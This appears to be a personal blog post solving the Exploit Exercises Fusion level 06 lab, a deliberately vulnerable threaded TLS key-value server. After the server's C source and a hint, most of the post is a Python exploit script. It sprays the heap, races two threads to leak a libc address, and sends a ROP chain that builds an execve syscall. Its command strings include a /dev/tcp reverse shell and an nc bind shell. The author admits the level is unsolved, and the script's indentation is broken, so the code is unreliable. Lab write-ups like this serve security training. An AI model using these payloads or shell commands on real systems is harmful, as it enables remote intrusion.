Exploit Exercise Binary Exploitation Fusion Level 06

Hello Crazy Hackers



Welcome Again To My Blog, Friends, Today, I am going to share my solution for Exploit Exercise Fusion Level 06 Challenge. Before Continuing I Just Want to Give You a Advice. If you don't like Pain, Struggle, Sleepless Nights, Red Eyes Searching For Solution Than Quickly Delete Exploit Exercise Fusion ISO file because this series of challenge is damn hard. This Level Was Like A Hell For me. Complete Of Depression, Pain, Problems But Also Force You to Gathering More Knowledge and push your limits. Good Luck!

Source Code


 1#define THREADED
  2#include "../common/common.c"
  3
  4// Taken some code from gnu tls documentation, 
  5// This example is a very simple echo server which supports X.509
  6// authentication, using the RSA ciphersuites. 
  7// This file has the leading comment of... /* This example code is
  8// placed in the public domain. */
  9// so there :>
 10
 11#include <gcrypt.h>
 12#include <gnutls/gnutls.h>
 13
 14#include <libHX/init.h>
 15#include <libHX/defs.h>
 16#include <libHX/map.h>
 17#include <libHX/string.h>
 18
 19#define KEYFILE "/opt/fusion/ssl/key.pem"
 20#define CERTFILE "/opt/fusion/ssl/cert.pem"
 21#define CAFILE "/opt/fusion/ssl/ca.pem"
 22#define CRLFILE "/opt/fusion/ssl/crl.pem"
 23
 24gnutls_certificate_credentials_t x509_cred;
 25gnutls_priority_t priority_cache;
 26
 27static gnutls_session_t
 28initialize_tls_session (void)
 29{
 30  gnutls_session_t session;
 31
 32  gnutls_init (&session, GNUTLS_SERVER);
 33
 34  gnutls_priority_set (session, priority_cache);
 35
 36  gnutls_credentials_set (session, GNUTLS_CRD_CERTIFICATE, x509_cred);
 37
 38  /* 
 39   *request client certificate if any.
 40   */
 41  gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST);
 42
 43  return session;
 44}
 45
 46
 47struct HXmap *dict;
 48
 49struct data {
 50  void *data;
 51  size_t length;
 52};
 53
 54struct data *gather_data(gnutls_session_t session, char *key, size_t length)
 55{
 56  unsigned char buffer[length];
 57  int offset, ret;
 58  struct data *data;
 59
 60  for(offset = 0; offset < length; ) {
 61    ret = gnutls_record_recv(session, buffer + offset, (length - 
 62      offset) > 65535 ? 65535 : (length - offset));
 63    if(ret <= 0) return NULL;
 64    offset += ret;
 65  }
 66
 67  data = malloc(sizeof(struct data));
 68  if(! data) return NULL;
 69  data->data = HX_memdup(buffer, length);
 70  if(!data->data) {
 71    free(data);
 72    return NULL;
 73  }
 74  data->length = length;
 75
 76  //printf("gather data: returning %08x, data->length = %d\n", data, 
 77  // data->length);
 78  //fflush(stdout);
 79
 80  return data;
 81}
 82
 83#define NOKEY "// No key was specified\n"
 84#define NOTFOUND "// Key was not found\n"
 85#define KEYFOUND "// Key exists\n"
 86#define NOMEM "// Not enough memory to allocate\n"
 87#define UPDATEOK "// Updated successfully\n"
 88
 89int update_data(gnutls_session_t session, char *key, size_t length)
 90{
 91  struct data *data;
 92  size_t offset;
 93  int ret;
 94
 95  data = HXmap_get(dict, key);
 96  if(! data) {
 97    gnutls_record_send(session, NOTFOUND, strlen(NOTFOUND));
 98    return -1;
 99  }
100
101  if(length > data->length) {
102    void *tmp;
103    tmp = realloc(data->data, length);
104    if(! tmp) {
105      gnutls_record_send(session, NOMEM, strlen(NOMEM));
106      return -1;
107    }
108    data->data = tmp;
109  }  
110
111  for(offset = 0; offset < length; ) {
112    ret = gnutls_record_recv(session, data->data + offset, 
113      (length - offset) > 65535 ? 65535 : (length - offset));
114    if(ret <= 0) return 0;
115    offset += ret;
116  }
117
118  gnutls_record_send(session, UPDATEOK, strlen(UPDATEOK));
119
120  data->length = length;
121  return 0;
122}
123
124int send_data(gnutls_session_t session, char *key, struct data *data)
125{
126  int offset, ret;
127  int to_send;
128
129  char *msg;
130
131  asprintf(&msg, "// Sending %d bytes\n", data->length);
132  gnutls_record_send(session, msg, strlen(msg));
133  free(msg);
134
135  for(offset = 0; offset < data->length; ) {
136    int tosend;
137    tosend = (data->length - offset) > 65535 ? 65535 : 
138      (data->length - offset);
139    ret = gnutls_record_send(session, data->data + offset,
140       tosend);
141    if(ret <= 0) return -1;
142    offset += ret;
143  }
144  return 0;
145}
146
147void *free_data(void *ptr)
148{
149  struct data *data;
150  data = (struct data *)(ptr);
151
152  //printf("in free data, got %08x\n", (unsigned int)data);
153  if(data) {
154    if(data->data) {
155      free(data->data);
156    }
157    free(data);
158  }
159}
160
161void new_dict()
162{
163  struct HXmap_ops mops;
164  if(dict) HXmap_free(dict);
165  
166  memset(&mops, 0, sizeof(mops));
167  mops.d_free = free_data;
168  
169  dict = HXmap_init5(HXMAPT_HASH, HXMAP_SKEY | HXMAP_CKEY, &mops, 
170    0, sizeof(struct data));
171}
172
173
174void *keyval_thread(void *arg)
175{
176  int fd = (int)arg;
177  int ret;
178  struct data *data;
179  int cont;
180
181  gnutls_session_t session;
182  session = initialize_tls_session ();
183
184  gnutls_transport_set_ptr (session, (gnutls_transport_ptr_t) fd);
185  ret = gnutls_handshake (session);
186
187  if (ret < 0) {
188    char *msg;
189
190    close (fd);
191    gnutls_deinit (session);
192  
193    msg = NULL;
194    asprintf(&msg, "*** Handshake has failed (%s)\n\n", 
195      gnutls_strerror(ret));
196    write(fd, msg, strlen(msg));
197    close(fd);
198    free(msg);
199        }
200
201#define BANNER "// Welcome to KeyValDaemon. Type 'h' for help information\n"
202  gnutls_record_send(session, BANNER, strlen(BANNER));
203
204  cont = 1;
205  while(cont) {
206    char cmdbuf[512], *p;
207    char *args[6], *msg;
208    int argcnt, i;
209
210    memset(cmdbuf, 0, sizeof(cmdbuf));
211    ret = gnutls_record_recv(session, cmdbuf, sizeof(cmdbuf));
212    if(ret <= 0) break;
213
214    p = strchr(cmdbuf, '\r');
215    if(p) *p = 0;
216    p = strchr(cmdbuf, '\n');
217    if(p) *p = 0;
218
219    memset(args, 0, sizeof(args));
220    argcnt = HX_split5(cmdbuf, " ", 6, args);
221
222#if 0
223    for(i = 0; i < argcnt; i++) {
224      asprintf(&msg, "args[%d] = \"%s\"\n", i, args[i]);
225      gnutls_record_send(session, msg, strlen(msg));
226      free(msg);
227    }
228#endif
229
230
231
232    switch(args[0][0]) {
233      case 'h': 
234#define HELP \
235"// f <key> - find entry and see if it exists\n" \
236"// s <key> <bytes> - store an entry with key and <bytes> lenght of data\n" \
237"// g <key> - read data from key\n" \
238"// d <key> - delete key/data\n" \
239"// X - delete all data and restart\n" 
240// XXX, loop over HXmap and display data? 
241  
242        gnutls_record_send(session, HELP, strlen(HELP));
243        break;
244      case 'd':
245        if(! args[1]) {
246          gnutls_record_send(session, NOKEY, strlen(NOKEY));
247        } else {
248          void *data;
249
250          data = HXmap_del(dict, args[1]);
251          if(data) {
252            gnutls_record_send(session, KEYFOUND, 
253              strlen(KEYFOUND));
254          } else {
255            gnutls_record_send(session, NOTFOUND,
256              strlen(NOTFOUND));
257          }
258        }
259        break;
260      case 's': // set
261        data = gather_data(session, args[1], atoi(args[2]));
262        if(data != NULL) {
263#define NEWKEY "// New key added!\n"
264          printf("args[1] = %08x/%s, data = %08x\n", 
265            args[1], args[1], data);
266          HXmap_add(dict, args[1], data);
267          gnutls_record_send(session, NEWKEY, 
268            strlen(NEWKEY));
269        } else {
270#define ADDERROR "// Unable to add new entry, problem getting data\n"
271          gnutls_record_send(session, ADDERROR, 
272            strlen(ADDERROR));
273        }
274        break;
275      case 'u': // update
276        update_data(session, args[1], atoi(args[2]));
277        break;
278      case 'f': // find
279        if(! args[1]) {
280          gnutls_record_send(session, NOKEY, 
281            strlen(NOKEY));
282        } else {
283          if(HXmap_find(dict, args[1]) == NULL) {
284            gnutls_record_send(session, 
285            NOTFOUND, strlen(NOTFOUND));
286          } else {
287            gnutls_record_send(session,
288            KEYFOUND, strlen(KEYFOUND));
289          }
290        }
291
292        break;
293
294      case 'g': // get
295        if(! args[1]) {
296          gnutls_record_send(session, NOKEY, 
297            strlen(NOKEY));
298        } else {
299          if((data = HXmap_get(dict, args[1])) 
300            == NULL) {
301            gnutls_record_send(session, NOTFOUND,
302            strlen(NOTFOUND));
303          } else {
304            send_data(session, args[1], data);
305          }
306        }
307        break;
308      case 'e':
309        cont = 0;
310        break;
311      case 'X':
312        new_dict();
313#define NEWDICT "// New dictionary installed\n"
314        gnutls_record_send(session, NEWDICT,
315        strlen(NEWDICT));
316        break;
317      default:
318#define UC "// Unknown Command, please see 'h' for help information\n"
319
320        gnutls_record_send(session, UC, strlen(UC));
321        break;
322    }
323  }
324
325
326#define GB "// Good bye!\n"
327  gnutls_record_send(session, GB, strlen(GB));
328  gnutls_bye(session, GNUTLS_SHUT_WR);
329
330  close(fd);
331  gnutls_deinit(session);
332
333  return NULL;
334}
335
336#define DH_BITS 512
337
338static gnutls_dh_params_t dh_params;
339
340static int generate_dh_params (void)
341{
342  /* 
343   * Generate Diffie-Hellman parameters - for use with DHE
344   * kx algorithms. When short bit length is used, it might
345   * be wise to regenerate parameters.
346   *
347   */
348  gnutls_dh_params_init (&dh_params);
349  gnutls_dh_params_generate2 (dh_params, DH_BITS);
350
351  return 0;
352}
353
354GCRY_THREAD_OPTION_PTHREAD_IMPL;
355
356int main(int argc, char **argv)
357{
358  int fd, i;
359
360  HX_init();
361
362  gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
363  gnutls_global_init();
364
365  gnutls_certificate_allocate_credentials (&x509_cred);
366  gnutls_certificate_set_x509_trust_file (x509_cred, CAFILE,
367            GNUTLS_X509_FMT_PEM);
368
369  gnutls_certificate_set_x509_crl_file (x509_cred, CRLFILE,
370            GNUTLS_X509_FMT_PEM);
371
372  gnutls_certificate_set_x509_key_file (x509_cred, CERTFILE, KEYFILE,
373          GNUTLS_X509_FMT_PEM);
374
375  generate_dh_params ();
376
377  gnutls_priority_init (&priority_cache, "NORMAL", NULL);
378  gnutls_certificate_set_dh_params (x509_cred, dh_params);
379
380  new_dict();
381
382  signal(SIGPIPE, SIG_IGN);
383
384  background_process(NAME, UID, GID);  
385  serve_forever_threaded(PORT, keyval_thread);
386}
387

Hint



Threaded stack overwrite fun :) Just another way to clutch at straws ;)

This level introduces the danger of inappropriate (or complete lack of) sharing/locking data across multiple connections/threads.

Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes

Exploit

#!/usr/bin/python
import socket
import struct
import ssl
import time
import telnetlib
import threading
import re
import sys
from struct import pack
from collections import Counter


v = ('127.0.0.1', 20006)


CMD = '/bin/sh > /dev/tcp/127.0.0.1/1337 0>&1 2>&1 ;'
CMD = 'touch /tmp/hackingworking'
#CMD = '/bin/nc.traditional -ltp 1337 -e//bin///sh   '


# connection 
def connect(v):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(v)
 time.sleep(0.1)
 s = ssl.wrap_socket(s,ssl_version=ssl.PROTOCOL_TLSv1)
 #time.sleep(0.1)
 print s.recv(1024)
 return s



def writethroughpayload(libc, base, data):
 data = re.findall('....', data)
 gt =  libc + 0x000e0097 # pop %ecx | pop %ebx | ret
 gt2 = libc + 0x000238df # pop %eax | ret
 gt3 = libc + 0x0006cc5a # mov %eax,(%ecx) | ret
 p = ''
 for n, i in enumerate(data):
  print '[+] Number {} Data {}'.format(n*4, i)
  p += pack("<I", gt) # pop %ecx | pop %ebx | ret
         p += pack("<I", base+(n*4)) # @ .data + 4
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", gt2) # pop %eax | ret
  p += i
  p += pack("<I", gt3) # mov %eax,(%ecx) | ret
 p += pack("<I", libc + 0x000328e0) # xor %eax,%eax | ret
 p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libc + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libc + 0x0006cc5a) # mov %eax,(%ecx) | ret
 return p


# Open bind shell : port 1337
def openncshell(libcbase):
 data = 0x176000 + 0x2000 +0x1000+20
 data2 = data + 0x50

 # Because Of Some Error. Here, I am print every single payload bytes
 p = writethroughpayload(libcbase, libcbase+data, '/tmp/hackingworks ') # command
 p += writethroughpayload(libcbase, libcbase+data2, '/bin/sh   ') # name 
 #p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 #p += pack("<I", libcbase+data)
 #p += pack("<I", libcbase +  0x0003cb20) # system()
 #p += '\xcc'*4 #pack("<I", libcbase + 0x000329e0) # exit()
 #p += pack("<I", libcbase + data)*3 # @ .data

 # EBX = filename
 p += pack('<I', libcbase +0x00018f4e) # pop ebx ; ret
 p += pack('<I', libcbase +data2) #--> Filename
 
 # ECX = Argv EDX = NULL
 p += pack('<I', libcbase +0x2da2b) # pop ecx ; pop edx ; ret
 p += pack('<I', libcbase +data)  # argv
 p += pack('<I', libcbase +data+20) # NULL

 # EAX = 11 + kernel call done
 p += pack('<I', libcbase +0x0002eb8f) # xor eax, eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 p += pack('<I', libcbase +0x00026722) # inc eax ; ret
 #p += '\xcc'*4
 p += pack('<I', libcbase +0x0002dd35) # int 0x80
 print '[+] Want To Check Syscall. Set breakpoint here : ', hex(libcbase +0x0002dd35)

 return p


def exploit(libc):
 # Payload
 # EIP = 60
 # EDI = 52
 # ESI = 48
 # EBP = 56
 # EBX  = 44
 payload = 'N'*28  # Paddings
 payload += pack('I', libc+0x17600+0x3000+0x150)
 payload += 'N'*12
 payload += 'JJJJ' # EBX
 payload += 'KKKK' # ESI
 payload += 'LLLL' # EDI
 payload += 'MMMM' # EBP
 payload += pack("I", libc + 0x000e0097) # EIP = pop %ecx | pop %ebx | ret)
 #payload += openncshell(libc) # EIP
 # Got Control Over 
 # EAX = EAX - 
 # EDX = 64 Offset 
 # ESI = 64 Offset
 #  mov    eax,DWORD PTR [esi+0x55c]
 payload += struct.pack('I', libc-0x55c) #struct.pack('I', (libc + 0x0003cb20)-0x55c) # 64 System
 payload += 'BBBB'
 payload += openncshell(libc)
 

 return payload

# heavy spray
def heavyspray(v):
 v = connect(v)
 for i in range(600):
  v.send("s {} {}\n".format(i, 500))
  v.send("{}\n".format('A'*500))

  time.sleep(0.005)
  v.recv(1024)
 v.close()
 return


# 
def extractaddr(data):
 data = data[::-1]
 b7 = re.findall('\xb7...', data)
 b8 = re.findall('\xb8...', data)

 if len(b8)<len(b7):
  b = [struct.unpack(">I", i)[0] for i in b7]
 else:
  b = [struct.unpack(">I", i)[0] for i in b8]
 b = [int(((i >> 12)<< 12)) for i in b]
 b.sort()
 #print 'Complete : ', b
 data = Counter(b)
 print "[-] Most Occured Address : ", data.most_common(1)[0][0]
 libc = int(data.most_common(1)[0][0]-0x179000)
 print "[-] May be Our Libc Address is : ", hex(libc)
 return libc



# MainEngine For Updating Data Regularly
class MainEngine(threading.Thread):
 def __init__(self, v):
  threading.Thread.__init__(self)
  self.s = connect(v)
  self.runcycle = True

 def run(self):
  print "[*] Main Engine Started."
         buf1 = "B"*150
         buf2 = "A"*150
         size = len(buf1)
         key = "test"
  while self.runcycle:
                  self.s.send("s {} {}\n".format(key, size))
                  self.s.send("{}\n".format(buf1))
  self.s.send('exit\n')
  self.s.close() 
  print "[*] Main Engine Close."
  return

# Back Engine For Reading Data Regularly
class BackEngine(threading.Thread):
 def __init__(self, v, engine):
  threading.Thread.__init__(self)
  self.engine = engine
  self.info = v
  self.v = connect(v)
  
 def run(self):
  print "[*] Back Engine Start"
  while True:
   self.v.send('g test\n')
   try:
                  chk = self.v.recv(1024)
   except:
    chk = ''                 
                 if chk:
                         if ('\xb6' in chk) or ('\xb7' in chk) or ('\xb8' in chk) or ('\xb9' in chk):
                                 self.engine.runcycle = False
     self.v.close()
     print "[*] Back Engine Close"
     libc = extractaddr(chk)
     bof = exploit(libc)
     raw_input('[-] Ready To Sent Exploit. Press Enter')
     v = connect(self.info)
     v.send("s exploit -2\n")
     time.sleep(0.5)
     v.send(bof)
     raw_input("[+] Payload Sent. Check Netcat.")
     self.v.close()
     return
  return


def main(v):
 raw_input('Data Leak Start')
 thread = MainEngine(v)
 #time.sleep(1)
 thread1 = BackEngine(v, thread)
 time.sleep(0.1)
 thread.start()
 time.sleep(0.1)
 thread1.start()
 print '[+] Waiting For Response.'
 thread1.join()
 print '[-] Extracting Data From Response.'
 return

if 'leak' in sys.argv:
 main(v)

elif 'spray' in sys.argv:
 raw_input('Heavy Spray Start')
        heavyspray(v)
 print "[*] Spray Complete."
else:
 print "[*] Please Provide Usages Arguments : \n [1]. spray\n [2]. leak\n"

exit(0)


Again, Same Line As Previous Solution. To Understand This Post You need little reading, little research,  and many other things. If you can't understand above exploitation code then you victory will be meaning less.


And Friends!! Honestly, I want to tell you all that I have Still Not Completely Cleared This Level. Yes! And I know, many of you are lot more smarter than me. So, Please Check This StackOverFlow Question related To This Level Click Here



Good Luck! Crazy hackers

Share this

Related Posts

Previous
Next Post »